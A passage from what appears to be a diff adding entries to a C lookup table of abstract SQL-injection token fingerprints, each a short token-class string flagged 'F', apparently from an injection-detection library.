{"0SB1B(", 'F'}, + {"0SB1B1", 'F'}, + {"0SB1BF", 'F'}, + {"0SB1BN", 'F'}, + {"0SB1BS", 'F'}, + {"0SB1BV", 'F'}, + {"0SB1C", 'F'}, + {"0SB1K(", 'F'}, + {"0SB1K1", 'F'}, + {"0SB1KF", 'F'}, + {"0SB1KN", 'F'}, + {"0SB1KS", 'F'}, + {"0SB1KV", 'F'}, + {"0SB1O(", 'F'}, + {"0SB1OF", 'F'}, + {"0SB1OS", 'F'}, + {"0SB1OV", 'F'}, + {"0SB1U(", 'F'}, + {"0SB1UE", 'F'}, + {"0SBE(1", 'F'}, + {"0SBE(F", 'F'}, + {"0SBE(N", 'F'}, + {"0SBE(S", 'F'}, + {"0SBE(V", 'F'}, + {"0SBEK(", 'F'}, + {"0SBF()", 'F'}, + {"0SBF(1", 'F'}, + {"0SBF(F", 'F'}, + {"0SBF(N", 'F'}, + {"0SBF(S", 'F'}, + {"0SBF(V", 'F'}, + {"0SBN", 'F'}, + {"0SBN&(", 'F'}, + {"0SBN&1", 'F'}, + {"0SBN&F", 'F'}, + {"0SBN&N", 'F'}, + {"0SBN&S", 'F'}, + {"0SBN&V", 'F'}, + {"0SBN,(", 'F'}, + {"0SBN,F", 'F'}, + {"0SBN;", 'F'}, + {"0SBN;C", 'F'}, + {"0SBNB(", 'F'}, + {"0SBNB1", 'F'}, + {"0SBNBF", 'F'}, + {"0SBNBN", 'F'}, + {"0SBNBS", 'F'}, + {"0SBNBV", 'F'}, + {"0SBNC", 'F'}, + {"0SBNK(", 'F'}, + {"0SBNK1", 'F'}, + {"0SBNKF", 'F'}, + {"0SBNKN", 'F'}, + {"0SBNKS", 'F'}, + {"0SBNKV", 'F'}, + {"0SBNO(", 'F'}, + {"0SBNOF", 'F'}, + {"0SBNOS", 'F'}, + {"0SBNOV", 'F'}, + {"0SBNU(", 'F'}, + {"0SBNUE", 'F'}, + {"0SBS", 'F'}, + {"0SBS&(", 'F'}, + {"0SBS&1", 'F'}, + {"0SBS&F", 'F'}, + {"0SBS&N", 'F'}, + {"0SBS&S", 'F'}, + {"0SBS&V", 'F'}, + {"0SBS,(", 'F'}, + {"0SBS,F", 'F'}, + {"0SBS;", 'F'}, + {"0SBS;C", 'F'}, + {"0SBSB(", 'F'}, + {"0SBSB1", 'F'}, + {"0SBSBF", 'F'}, + {"0SBSBN", 'F'}, + {"0SBSBS", 'F'}, + {"0SBSBV", 'F'}, + {"0SBSC", 'F'}, + {"0SBSK(", 'F'}, + {"0SBSK1", 'F'}, + {"0SBSKF", 'F'}, + {"0SBSKN", 'F'}, + {"0SBSKS", 'F'}, + {"0SBSKV", 'F'}, + {"0SBSO(", 'F'}, + {"0SBSO1", 'F'}, + {"0SBSOF", 'F'}, + {"0SBSON", 'F'}, + {"0SBSOS", 'F'}, + {"0SBSOV", 'F'}, + {"0SBSU(", 'F'}, + {"0SBSUE", 'F'}, + {"0SBV", 'F'}, + {"0SBV&(", 'F'}, + {"0SBV&1", 'F'}, + {"0SBV&F", 'F'}, + {"0SBV&N", 'F'}, + {"0SBV&S", 'F'}, + {"0SBV&V", 'F'}, + {"0SBV,(", 'F'}, + {"0SBV,F", 'F'}, + {"0SBV;", 'F'}, + {"0SBV;C", 'F'}, + {"0SBVB(", 'F'}, + {"0SBVB1", 'F'}, + {"0SBVBF", 'F'}, + {"0SBVBN", 'F'}, + {"0SBVBS", 'F'}, + {"0SBVBV", 'F'}, + {"0SBVC", 'F'}, + {"0SBVK(", 'F'}, + {"0SBVK1", 'F'}, + {"0SBVKF", 'F'}, + {"0SBVKN", 'F'}, + {"0SBVKS", 'F'}, + {"0SBVKV", 'F'}, + {"0SBVO(", 'F'}, + {"0SBVOF", 'F'}, + {"0SBVOS", 'F'}, + {"0SBVU(", 'F'}, + {"0SBVUE", 'F'}, + {"0SC", 'F'}, + {"0SE(1)", 'F'}, + {"0SE(1O", 'F'}, + {"0SE(F(", 'F'}, + {"0SE(N)", 'F'}, + {"0SE(NO", 'F'}, + {"0SE(S)", 'F'}, + {"0SE(SO", 'F'}, + {"0SE(V)", 'F'}, + {"0SE(VO", 'F'}, + {"0SE1;T", 'F'}, + {"0SE1C", 'F'}, + {"0SE1O(", 'F'}, + {"0SE1OF", 'F'}, + {"0SE1OS", 'F'}, + {"0SE1OV", 'F'}, + {"0SE1T(", 'F'}, + {"0SE1T1", 'F'}, + {"0SE1TF", 'F'}, + {"0SE1TN", 'F'}, + {"0SE1TS", 'F'}, + {"0SE1TV", 'F'}, + {"0SE1UE", 'F'}, + {"0SEF()", 'F'}, + {"0SEF(1", 'F'}, + {"0SEF(F", 'F'}, + {"0SEF(N", 'F'}, + {"0SEF(S", 'F'}, + {"0SEF(V", 'F'}, + {"0SEK(1", 'F'}, + {"0SEK(E", 'F'}, + {"0SEK(F", 'F'}, + {"0SEK(N", 'F'}, + {"0SEK(S", 'F'}, + {"0SEK(V", 'F'}, + {"0SEK1;", 'F'}, + {"0SEK1C", 'F'}, + {"0SEK1O", 'F'}, + {"0SEK1T", 'F'}, + {"0SEK1U", 'F'}, + {"0SEKF(", 'F'}, + {"0SEKN;", 'F'}, + {"0SEKNC", 'F'}, + {"0SEKNE", 'F'}, + {"0SEKNT", 'F'}, + {"0SEKNU", 'F'}, + {"0SEKOK", 'F'}, + {"0SEKS;", 'F'}, + {"0SEKSC", 'F'}, + {"0SEKSO", 'F'}, + {"0SEKST", 'F'}, + {"0SEKSU", 'F'}, + {"0SEKU(", 'F'}, + {"0SEKU1", 'F'}, + {"0SEKUE", 'F'}, + {"0SEKUF", 'F'}, + {"0SEKUS", 'F'}, + {"0SEKUV", 'F'}, + {"0SEKV;", 'F'}, + {"0SEKVC", 'F'}, + {"0SEKVO", 'F'}, + {"0SEKVT", 'F'}, + {"0SEKVU", 'F'}, + {"0SEN;T", 'F'}, + {"0SENC", 'F'}, + {"0SENEN", 'F'}, + {"0SENO(", 'F'}, + {"0SENOF", 'F'}, + {"0SENOS", 'F'}, + {"0SENOV", 'F'}, + {"0SENT(", 'F'}, + {"0SENT1", 'F'}, + {"0SENTF", 'F'}, + {"0SENTN", 'F'}, + {"0SENTS", 'F'}, + {"0SENTV", 'F'}, + {"0SENUE", 'F'}, + {"0SEOKN", 'F'}, + {"0SES;T", 'F'}, + {"0SESC", 'F'}, + {"0SESO(", 'F'}, + {"0SESO1", 'F'}, + {"0SESOF", 'F'}, + {"0SESON", 'F'}, + {"0SESOS", 'F'}, + {"0SESOV", 'F'}, + {"0SEST(", 'F'}, + {"0SEST1", 'F'}, + {"0SESTF", 'F'}, + {"0SESTN", 'F'}, + {"0SESTS", 'F'}, + {"0SESTV", 'F'}, + {"0SESUE", 'F'}, + {"0SEU(1", 'F'}, + {"0SEU(F", 'F'}, + {"0SEU(N", 'F'}, + {"0SEU(S", 'F'}, + {"0SEU(V", 'F'}, + {"0SEU1,", 'F'}, + {"0SEU1C", 'F'}, + {"0SEU1O", 'F'}, + {"0SEUEF", 'F'}, + {"0SEUEK", 'F'}, + {"0SEUF(", 'F'}, + {"0SEUS,", 'F'}, + {"0SEUSC", 'F'}, + {"0SEUSO", 'F'}, + {"0SEUV,", 'F'}, + {"0SEUVC", 'F'}, + {"0SEUVO", 'F'}, + {"0SEV;T", 'F'}, + {"0SEVC", 'F'}, + {"0SEVO(", 'F'}, + {"0SEVOF", 'F'}, + {"0SEVOS", 'F'}, + {"0SEVT(", 'F'}, + {"0SEVT1", 'F'}, + {"0SEVTF", 'F'}, + {"0SEVTN", 'F'}, + {"0SEVTS", 'F'}, + {"0SEVTV", 'F'}, + {"0SEVUE", 'F'}, + {"0SF()1", 'F'}, + {"0SF()F", 'F'}, + {"0SF()K", 'F'}, + {"0SF()N", 'F'}, + {"0SF()O", 'F'}, + {"0SF()S", 'F'}, + {"0SF()U", 'F'}, + {"0SF()V", 'F'}, + {"0SF(1)", 'F'}, + {"0SF(1N", 'F'}, + {"0SF(1O", 'F'}, + {"0SF(E(", 'F'}, + {"0SF(E1", 'F'}, + {"0SF(EF", 'F'}, + {"0SF(EK", 'F'}, + {"0SF(EN", 'F'}, + {"0SF(ES", 'F'}, + {"0SF(EV", 'F'}, + {"0SF(F(", 'F'}, + {"0SF(N)", 'F'}, + {"0SF(N,", 'F'}, + {"0SF(NO", 'F'}, + {"0SF(S)", 'F'}, + {"0SF(SO", 'F'}, + {"0SF(V)", 'F'}, + {"0SF(VO", 'F'}, + {"0SK(1)", 'F'}, + {"0SK(1O", 'F'}, + {"0SK(F(", 'F'}, + {"0SK(N)", 'F'}, + {"0SK(NO", 'F'}, + {"0SK(S)", 'F'}, + {"0SK(SO", 'F'}, + {"0SK(V)", 'F'}, + {"0SK(VO", 'F'}, + {"0SK)&(", 'F'}, + {"0SK)&1", 'F'}, + {"0SK)&F", 'F'}, + {"0SK)&N", 'F'}, + {"0SK)&S", 'F'}, + {"0SK)&V", 'F'}, + {"0SK);E", 'F'}, + {"0SK);T", 'F'}, + {"0SK)B(", 'F'}, + {"0SK)B1", 'F'}, + {"0SK)BF", 'F'}, + {"0SK)BN", 'F'}, + {"0SK)BS", 'F'}, + {"0SK)BV", 'F'}, + {"0SK)E(", 'F'}, + {"0SK)E1", 'F'}, + {"0SK)EF", 'F'}, + {"0SK)EK", 'F'}, + {"0SK)EN", 'F'}, + {"0SK)ES", 'F'}, + {"0SK)EV", 'F'}, + {"0SK)F(", 'F'}, + {"0SK)O(", 'F'}, + {"0SK)OF", 'F'}, + {"0SK)UE", 'F'}, + {"0SK1", 'F'}, + {"0SK1&(", 'F'}, + {"0SK1&1", 'F'}, + {"0SK1&F", 'F'}, + {"0SK1&N", 'F'}, + {"0SK1&S", 'F'}, + {"0SK1&V", 'F'}, + {"0SK1;", 'F'}, + {"0SK1;C", 'F'}, + {"0SK1;E", 'F'}, + {"0SK1;T", 'F'}, + {"0SK1B(", 'F'}, + {"0SK1B1", 'F'}, + {"0SK1BF", 'F'}, + {"0SK1BN", 'F'}, + {"0SK1BS", 'F'}, + {"0SK1BV", 'F'}, + {"0SK1C", 'F'}, + {"0SK1E(", 'F'}, + {"0SK1E1", 'F'}, + {"0SK1EF", 'F'}, + {"0SK1EK", 'F'}, + {"0SK1EN", 'F'}, + {"0SK1ES", 'F'}, + {"0SK1EV", 'F'}, + {"0SK1O(", 'F'}, + {"0SK1OF", 'F'}, + {"0SK1OS", 'F'}, + {"0SK1OV", 'F'}, + {"0SK1U(", 'F'}, + {"0SK1UE", 'F'}, + {"0SKF()", 'F'}, + {"0SKF(1", 'F'}, + {"0SKF(F", 'F'}, + {"0SKF(N", 'F'}, + {"0SKF(S", 'F'}, + {"0SKF(V", 'F'}, + {"0SKN", 'F'}, + {"0SKN&(", 'F'}, + {"0SKN&1", 'F'}, + {"0SKN&F", 'F'}, + {"0SKN&N", 'F'}, + {"0SKN&S", 'F'}, + {"0SKN&V", 'F'}, + {"0SKN;", 'F'}, + {"0SKN;C", 'F'}, + {"0SKN;E", 'F'}, + {"0SKN;T", 'F'}, + {"0SKNB(", 'F'}, + {"0SKNB1", 'F'}, + {"0SKNBF", 'F'}, + {"0SKNBN", 'F'}, + {"0SKNBS", 'F'}, + {"0SKNBV", 'F'}, + {"0SKNC", 'F'}, + {"0SKNE(", 'F'}, + {"0SKNE1", 'F'}, + {"0SKNEF", 'F'}, + {"0SKNEN", 'F'}, + {"0SKNES", 'F'}, + {"0SKNEV", 'F'}, + {"0SKNU(", 'F'}, + {"0SKNUE", 'F'}, + {"0SKS", 'F'}, + {"0SKS&(", 'F'}, + {"0SKS&1", 'F'}, + {"0SKS&F", 'F'}, + {"0SKS&N", 'F'}, + {"0SKS&S", 'F'}, + {"0SKS&V", 'F'}, + {"0SKS;", 'F'}, + {"0SKS;C", 'F'}, + {"0SKS;E", 'F'}, + {"0SKS;T", 'F'}, + {"0SKSB(", 'F'}, + {"0SKSB1", 'F'}, + {"0SKSBF", 'F'}, + {"0SKSBN", 'F'}, + {"0SKSBS", 'F'}, + {"0SKSBV", 'F'}, + {"0SKSC", 'F'}, + {"0SKSE(", 'F'}, + {"0SKSE1", 'F'}, + {"0SKSEF", 'F'}, + {"0SKSEK", 'F'}, + {"0SKSEN", 'F'}, + {"0SKSES", 'F'}, + {"0SKSEV", 'F'}, + {"0SKSO(", 'F'}, + {"0SKSO1", 'F'}, + {"0SKSOF", 'F'}, + {"0SKSON", 'F'}, + {"0SKSOS", 'F'}, + {"0SKSOV", 'F'}, + {"0SKSU(", 'F'}, + {"0SKSUE", 'F'}, + {"0SKUE(", 'F'}, + {"0SKUE1", 'F'}, + {"0SKUEF", 'F'}, + {"0SKUEK", 'F'}, + {"0SKUEN", 'F'}, + {"0SKUES", 'F'}, + {"0SKUEV", 'F'}, + {"0SKV", 'F'}, + {"0SKV&(", 'F'}, + {"0SKV&1", 'F'}, + {"0SKV&F", 'F'}, + {"0SKV&N", 'F'}, + {"0SKV&S", 'F'}, + {"0SKV&V", 'F'}, + {"0SKV;", 'F'}, + {"0SKV;C", 'F'}, + {"0SKV;E", 'F'}, + {"0SKV;T", 'F'}, + {"0SKVB(", 'F'}, + {"0SKVB1", 'F'}, + {"0SKVBF", 'F'}, + {"0SKVBN", 'F'}, + {"0SKVBS", 'F'}, + {"0SKVBV", 'F'}, + {"0SKVC", 'F'}, + {"0SKVE(", 'F'}, + {"0SKVE1", 'F'}, + {"0SKVEF", 'F'}, + {"0SKVEK", 'F'}, + {"0SKVEN", 'F'}, + {"0SKVES", 'F'}, + {"0SKVEV", 'F'}, + {"0SKVO(", 'F'}, + {"0SKVOF", 'F'}, + {"0SKVOS", 'F'}, + {"0SKVU(", 'F'}, + {"0SKVUE", 'F'}, + {"0SO(1&", 'F'}, + {"0SO(1)", 'F'}, + {"0SO(1,", 'F'}, + {"0SO(1O", 'F'}, + {"0SO(E(", 'F'}, + {"0SO(E1", 'F'}, + {"0SO(EE", 'F'}, + {"0SO(EF", 'F'}, + {"0SO(EK", 'F'}, + {"0SO(EN", 'F'}, + {"0SO(EO", 'F'}, + {"0SO(ES", 'F'}, + {"0SO(EV", 'F'}, + {"0SO(F(", 'F'}, + {"0SO(N&", 'F'}, + {"0SO(N)", 'F'}, + {"0SO(N,", 'F'}, + {"0SO(NO", 'F'}, + {"0SO(S&", 'F'}, + {"0SO(S)", 'F'}, + {"0SO(S,", 'F'}, + {"0SO(SO", 'F'}, + {"0SO(V&", 'F'}, + {"0SO(V)", 'F'}, + {"0SO(V,", 'F'}, + {"0SO(VO", 'F'}, + {"0SO1&(", 'F'}, + {"0SO1&1", 'F'}, + {"0SO1&E", 'F'}, + {"0SO1&F", 'F'}, + {"0SO1&K", 'F'}, + {"0SO1&N", 'F'}, + {"0SO1&S", 'F'}, + {"0SO1&U", 'F'}, + {"0SO1&V", 'F'}, + {"0SO1(E", 'F'}, + {"0SO1(U", 'F'}, + {"0SO1)&", 'F'}, + {"0SO1),", 'F'}, + {"0SO1);", 'F'}, + {"0SO1)B", 'F'}, + {"0SO1)C", 'F'}, + {"0SO1)E", 'F'}, + {"0SO1)F", 'F'}, + {"0SO1)K", 'F'}, + {"0SO1)O", 'F'}, + {"0SO1)U", 'F'}, + {"0SO1,(", 'F'}, + {"0SO1,F", 'F'}, + {"0SO1;", 'F'}, + {"0SO1;C", 'F'}, + {"0SO1;E", 'F'}, + {"0SO1;N", 'F'}, + {"0SO1;T", 'F'}, + {"0SO1A(", 'F'}, + {"0SO1AF", 'F'}, + {"0SO1AS", 'F'}, + {"0SO1AT", 'F'}, + {"0SO1AV", 'F'}, + {"0SO1B(", 'F'}, + {"0SO1B1", 'F'}, + {"0SO1BE", 'F'}, + {"0SO1BF", 'F'}, + {"0SO1BN", 'F'}, + {"0SO1BS", 'F'}, + {"0SO1BV", 'F'}, + {"0SO1C", 'F'}, + {"0SO1E(", 'F'}, + {"0SO1E1", 'F'}, + {"0SO1EF", 'F'}, + {"0SO1EK", 'F'}, + {"0SO1EN", 'F'}, + {"0SO1EO", 'F'}, + {"0SO1ES", 'F'}, + {"0SO1EU", 'F'}, + {"0SO1EV", 'F'}, + {"0SO1F(", 'F'}, + {"0SO1K(", 'F'}, + {"0SO1K)", 'F'}, + {"0SO1K1", 'F'}, + {"0SO1KB", 'F'}, + {"0SO1KF", 'F'}, + {"0SO1KN", 'F'}, + {"0SO1KS", 'F'}, + {"0SO1KU", 'F'}, + {"0SO1KV", 'F'}, + {"0SO1N&", 'F'}, + {"0SO1N(", 'F'}, + {"0SO1N,", 'F'}, + {"0SO1NE", 'F'}, + {"0SO1NU", 'F'}, + {"0SO1SU", 'F'}, + {"0SO1SV", 'F'}, + {"0SO1T(", 'F'}, + {"0SO1T1", 'F'}, + {"0SO1TE", 'F'}, + {"0SO1TF", 'F'}, + {"0SO1TN", 'F'}, + {"0SO1TS", 'F'}, + {"0SO1TT", 'F'}, + {"0SO1TV", 'F'}, + {"0SO1U", 'F'}, + {"0SO1U(", 'F'}, + {"0SO1U1", 'F'}, + {"0SO1U;", 'F'}, + {"0SO1UC", 'F'}, + {"0SO1UE", 'F'}, + {"0SO1UF", 'F'}, + {"0SO1UK", 'F'}, + {"0SO1UO", 'F'}, + {"0SO1US", 'F'}, + {"0SO1UT", 'F'}, + {"0SO1UV", 'F'}, + {"0SO1V(", 'F'}, + {"0SO1VF", 'F'}, + {"0SO1VO", 'F'}, + {"0SO1VS", 'F'}, + {"0SO1VU", 'F'}, + {"0SOF()", 'F'}, + {"0SOF(1", 'F'}, + {"0SOF(E", 'F'}, + {"0SOF(F", 'F'}, + {"0SOF(N", 'F'}, + {"0SOF(S", 'F'}, + {"0SOF(V", 'F'}, + {"0SOK&(", 'F'}, + {"0SOK&1", 'F'}, + {"0SOK&F", 'F'}, + {"0SOK&N", 'F'}, + {"0SOK&S", 'F'}, + {"0SOK&V", 'F'}, + {"0SOK(1", 'F'}, + {"0SOK(F", 'F'}, + {"0SOK(N", 'F'}, + {"0SOK(S", 'F'}, + {"0SOK(V", 'F'}, + {"0SOK1C", 'F'}, + {"0SOK1O", 'F'}, + {"0SOKF(", 'F'}, + {"0SOKNC", 'F'}, + {"0SOKO(", 'F'}, + {"0SOKO1", 'F'}, + {"0SOKOF", 'F'}, + {"0SOKON", 'F'}, + {"0SOKOS", 'F'}, + {"0SOKOV", 'F'}, + {"0SOKSC", 'F'}, + {"0SOKSO", 'F'}, + {"0SOKVC", 'F'}, + {"0SOKVO", 'F'}, + {"0SON&(", 'F'}, + {"0SON&1", 'F'}, + {"0SON&E", 'F'}, + {"0SON&F", 'F'}, + {"0SON&K", 'F'}, + {"0SON&N", 'F'}, + {"0SON&S", 'F'}, + {"0SON&U", 'F'}, + {"0SON&V", 'F'}, + {"0SON(1", 'F'}, + {"0SON(E", 'F'}, + {"0SON(F", 'F'}, + {"0SON(S", 'F'}, + {"0SON(U", 'F'}, + {"0SON(V", 'F'}, + {"0SON)&", 'F'}, + {"0SON),", 'F'}, + {"0SON);", 'F'}, + {"0SON)B", 'F'}, + {"0SON)C", 'F'}, + {"0SON)E", 'F'}, + {"0SON)F", 'F'}, + {"0SON)K", 'F'}, + {"0SON)O", 'F'}, + {"0SON)U", 'F'}, + {"0SON,(", 'F'}, + {"0SON,F", 'F'}, + {"0SON1(", 'F'}, + {"0SON1O", 'F'}, + {"0SON1U", 'F'}, + {"0SON1V", 'F'}, + {"0SON;", 'F'}, + {"0SON;C", 'F'}, + {"0SON;E", 'F'}, + {"0SON;N", 'F'}, + {"0SON;T", 'F'}, + {"0SONA(", 'F'}, + {"0SONAF", 'F'}, + {"0SONAS", 'F'}, + {"0SONAT", 'F'}, + {"0SONAV", 'F'}, + {"0SONB(", 'F'}, + {"0SONB1", 'F'}, + {"0SONBE", 'F'}, + {"0SONBF", 'F'}, + {"0SONBN", 'F'}, + {"0SONBS", 'F'}, + {"0SONBV", 'F'}, + {"0SONE(", 'F'}, + {"0SONE1", 'F'}, + {"0SONEF", 'F'}, + {"0SONEN", 'F'}, + {"0SONEO", 'F'}, + {"0SONES", 'F'}, + {"0SONEU", 'F'}, + {"0SONEV", 'F'}, + {"0SONF(", 'F'}, + {"0SONK(", 'F'}, + {"0SONK)", 'F'}, + {"0SONK1", 'F'}, + {"0SONKB", 'F'}, + {"0SONKF", 'F'}, + {"0SONKS", 'F'}, + {"0SONKU", 'F'}, + {"0SONKV", 'F'}, + {"0SONSU", 'F'}, + {"0SONT(", 'F'}, + {"0SONT1", 'F'}, + {"0SONTE", 'F'}, + {"0SONTF", 'F'}, + {"0SONTN", 'F'}, + {"0SONTS", 'F'}, + {"0SONTT", 'F'}, + {"0SONTV", 'F'}, + {"0SONU", 'F'}, + {"0SONU(", 'F'}, + {"0SONU1", 'F'}, + {"0SONU;", 'F'}, + {"0SONUC", 'F'}, + {"0SONUE", 'F'}, + {"0SONUF", 'F'}, + {"0SONUK", 'F'}, + {"0SONUO", 'F'}, + {"0SONUS", 'F'}, + {"0SONUT", 'F'}, + {"0SONUV", 'F'}, + {"0SOS", 'F'}, + {"0SOS&(", 'F'}, + {"0SOS&1", 'F'}, + {"0SOS&E", 'F'}, + {"0SOS&F", 'F'}, + {"0SOS&K", 'F'}, + {"0SOS&N", 'F'}, + {"0SOS&S", 'F'}, + {"0SOS&U", 'F'}, + {"0SOS&V", 'F'}, + {"0SOS(E", 'F'}, + {"0SOS(U", 'F'}, + {"0SOS)&", 'F'}, + {"0SOS),", 'F'}, + {"0SOS);", 'F'}, + {"0SOS)B", 'F'}, + {"0SOS)C", 'F'}, + {"0SOS)E", 'F'}, + {"0SOS)F", 'F'}, + {"0SOS)K", 'F'}, + {"0SOS)O", 'F'}, + {"0SOS)U", 'F'}, + {"0SOS,(", 'F'}, + {"0SOS,F", 'F'}, + {"0SOS1(", 'F'}, + {"0SOS1F", 'F'}, + {"0SOS1N", 'F'}, + {"0SOS1S", 'F'}, + {"0SOS1U", 'F'}, + {"0SOS1V", 'F'}, + {"0SOS;", 'F'}, + {"0SOS;C", 'F'}, + {"0SOS;E", 'F'}, + {"0SOS;N", 'F'}, + {"0SOS;T", 'F'}, + {"0SOSA(", 'F'}, + {"0SOSAF", 'F'}, + {"0SOSAS", 'F'}, + {"0SOSAT", 'F'}, + {"0SOSAV", 'F'}, + {"0SOSB(", 'F'}, + {"0SOSB1", 'F'}, + {"0SOSBE", 'F'}, + {"0SOSBF", 'F'}, + {"0SOSBN", 'F'}, + {"0SOSBS", 'F'}, + {"0SOSBV", 'F'}, + {"0SOSC", 'F'}, + {"0SOSE(", 'F'}, + {"0SOSE1", 'F'}, + {"0SOSEF", 'F'}, + {"0SOSEK", 'F'}, + {"0SOSEN", 'F'}, + {"0SOSEO", 'F'}, + {"0SOSES", 'F'}, + {"0SOSEU", 'F'}, + {"0SOSEV", 'F'}, + {"0SOSF(", 'F'}, + {"0SOSK(", 'F'}, + {"0SOSK)", 'F'}, + {"0SOSK1", 'F'}, + {"0SOSKB", 'F'}, + {"0SOSKF", 'F'}, + {"0SOSKN", 'F'}, + {"0SOSKS", 'F'}, + {"0SOSKU", 'F'}, + {"0SOSKV", 'F'}, + {"0SOST(", 'F'}, + {"0SOST1", 'F'}, + {"0SOSTE", 'F'}, + {"0SOSTF", 'F'}, + {"0SOSTN", 'F'}, + {"0SOSTS", 'F'}, + {"0SOSTT", 'F'}, + {"0SOSTV", 'F'}, + {"0SOSU", 'F'}, + {"0SOSU(", 'F'}, + {"0SOSU1", 'F'}, + {"0SOSU;", 'F'}, + {"0SOSUC", 'F'}, + {"0SOSUE", 'F'}, + {"0SOSUF", 'F'}, + {"0SOSUK", 'F'}, + {"0SOSUO", 'F'}, + {"0SOSUS", 'F'}, + {"0SOSUT", 'F'}, + {"0SOSUV", 'F'}, + {"0SOSV(", 'F'}, + {"0SOSVF", 'F'}, + {"0SOSVO", 'F'}, + {"0SOSVS", 'F'}, + {"0SOSVU", 'F'}, + {"0SOU(E", 'F'}, + {"0SOUEK", 'F'}, + {"0SOUEN", 'F'}, + {"0SOV", 'F'}, + {"0SOV&(", 'F'}, + {"0SOV&1", 'F'}, + {"0SOV&E", 'F'}, + {"0SOV&F", 'F'}, + {"0SOV&K", 'F'}, + {"0SOV&N", 'F'}, + {"0SOV&S", 'F'}, + {"0SOV&U", 'F'}, + {"0SOV&V", 'F'}, + {"0SOV(E", 'F'}, + {"0SOV(U", 'F'}, + {"0SOV)&", 'F'}, + {"0SOV),", 'F'}, + {"0SOV);", 'F'}, + {"0SOV)B", 'F'}, + {"0SOV)C", 'F'}, + {"0SOV)E", 'F'}, + {"0SOV)F", 'F'}, + {"0SOV)K", 'F'}, + {"0SOV)O", 'F'}, + {"0SOV)U", 'F'}, + {"0SOV,(", 'F'}, + {"0SOV,F", 'F'}, + {"0SOV;", 'F'}, + {"0SOV;C", 'F'}, + {"0SOV;E", 'F'}, + {"0SOV;N", 'F'}, + {"0SOV;T", 'F'}, + {"0SOVA(", 'F'}, + {"0SOVAF", 'F'}, + {"0SOVAS", 'F'}, + {"0SOVAT", 'F'}, + {"0SOVAV", 'F'}, + {"0SOVB(", 'F'}, + {"0SOVB1", 'F'}, + {"0SOVBE", 'F'}, + {"0SOVBF", 'F'}, + {"0SOVBN", 'F'}, + {"0SOVBS", 'F'}, + {"0SOVBV", 'F'}, + {"0SOVC", 'F'}, + {"0SOVE(", 'F'}, + {"0SOVE1", 'F'}, + {"0SOVEF", 'F'}, + {"0SOVEK", 'F'}, + {"0SOVEN", 'F'}, + {"0SOVEO", 'F'}, + {"0SOVES", 'F'}, + {"0SOVEU", 'F'}, + {"0SOVEV", 'F'}, + {"0SOVF(", 'F'}, + {"0SOVK(", 'F'}, + {"0SOVK)", 'F'}, + {"0SOVK1", 'F'}, + {"0SOVKB", 'F'}, + {"0SOVKF", 'F'}, + {"0SOVKN", 'F'}, + {"0SOVKS", 'F'}, + {"0SOVKU", 'F'}, + {"0SOVKV", 'F'}, + {"0SOVO(", 'F'}, + {"0SOVOF", 'F'}, + {"0SOVOK", 'F'}, + {"0SOVOS", 'F'}, + {"0SOVOU", 'F'}, + {"0SOVS(", 'F'}, + {"0SOVS1", 'F'}, + {"0SOVSF", 'F'}, + {"0SOVSO", 'F'}, + {"0SOVSU", 'F'}, + {"0SOVSV", 'F'}, + {"0SOVT(", 'F'}, + {"0SOVT1", 'F'}, + {"0SOVTE", 'F'}, + {"0SOVTF", 'F'}, + {"0SOVTN", 'F'}, + {"0SOVTS", 'F'}, + {"0SOVTT", 'F'}, + {"0SOVTV", 'F'}, + {"0SOVU", 'F'}, + {"0SOVU(", 'F'}, + {"0SOVU1", 'F'}, + {"0SOVU;", 'F'}, + {"0SOVUC", 'F'}, + {"0SOVUE", 'F'}, + {"0SOVUF", 'F'}, + {"0SOVUK", 'F'}, + {"0SOVUO", 'F'}, + {"0SOVUS", 'F'}, + {"0SOVUT", 'F'}, + {"0SOVUV", 'F'}, + {"0ST(1)", 'F'}, + {"0ST(1O", 'F'}, + {"0ST(F(", 'F'}, + {"0ST(N)", 'F'}, + {"0ST(NO", 'F'}, + {"0ST(S)", 'F'}, + {"0ST(SO", 'F'}, + {"0ST(V)", 'F'}, + {"0ST(VO", 'F'}, + {"0ST1(F", 'F'}, + {"0ST1O(", 'F'}, + {"0ST1OF", 'F'}, + {"0ST1OS", 'F'}, + {"0ST1OV", 'F'}, + {"0STE(1", 'F'}, + {"0STE(F", 'F'}, + {"0STE(N", 'F'}, + {"0STE(S", 'F'}, + {"0STE(V", 'F'}, + {"0STE1N", 'F'}, + {"0STE1O", 'F'}, + {"0STEF(", 'F'}, + {"0STEK(", 'F'}, + {"0STEK1", 'F'}, + {"0STEKF", 'F'}, + {"0STEKN", 'F'}, + {"0STEKS", 'F'}, + {"0STEKV", 'F'}, + {"0STENN", 'F'}, + {"0STENO", 'F'}, + {"0STESN", 'F'}, + {"0STESO", 'F'}, + {"0STEVN", 'F'}, + {"0STEVO", 'F'}, + {"0STF()", 'F'}, + {"0STF(1", 'F'}, + {"0STF(F", 'F'}, + {"0STF(N", 'F'}, + {"0STF(S", 'F'}, + {"0STF(V", 'F'}, + {"0STN(1", 'F'}, + {"0STN(F", 'F'}, + {"0STN(S", 'F'}, + {"0STN(V", 'F'}, + {"0STN1C", 'F'}, + {"0STN1O", 'F'}, + {"0STN;E", 'F'}, + {"0STN;N", 'F'}, + {"0STN;T", 'F'}, + {"0STNE(", 'F'}, + {"0STNE1", 'F'}, + {"0STNEF", 'F'}, + {"0STNEN", 'F'}, + {"0STNES", 'F'}, + {"0STNEV", 'F'}, + {"0STNF(", 'F'}, + {"0STNKN", 'F'}, + {"0STNN:", 'F'}, + {"0STNNC", 'F'}, + {"0STNNO", 'F'}, + {"0STNO(", 'F'}, + {"0STNOF", 'F'}, + {"0STNOS", 'F'}, + {"0STNOV", 'F'}, + {"0STNSC", 'F'}, + {"0STNSO", 'F'}, + {"0STNT(", 'F'}, + {"0STNT1", 'F'}, + {"0STNTF", 'F'}, + {"0STNTN", 'F'}, + {"0STNTS", 'F'}, + {"0STNTV", 'F'}, + {"0STNVC", 'F'}, + {"0STNVO", 'F'}, + {"0STS(F", 'F'}, + {"0STSO(", 'F'}, + {"0STSO1", 'F'}, + {"0STSOF", 'F'}, + {"0STSON", 'F'}, + {"0STSOS", 'F'}, + {"0STSOV", 'F'}, + {"0STTNE", 'F'}, + {"0STTNK", 'F'}, + {"0STTNN", 'F'}, + {"0STTNT", 'F'}, + {"0STV(1", 'F'}, + {"0STV(F", 'F'}, + {"0STVO(", 'F'}, + {"0STVOF", 'F'}, + {"0STVOS", 'F'}, + {"0SU(1)", 'F'}, + {"0SU(1O", 'F'}, + {"0SU(E(", 'F'}, + {"0SU(E1", 'F'}, + {"0SU(EF", 'F'}, + 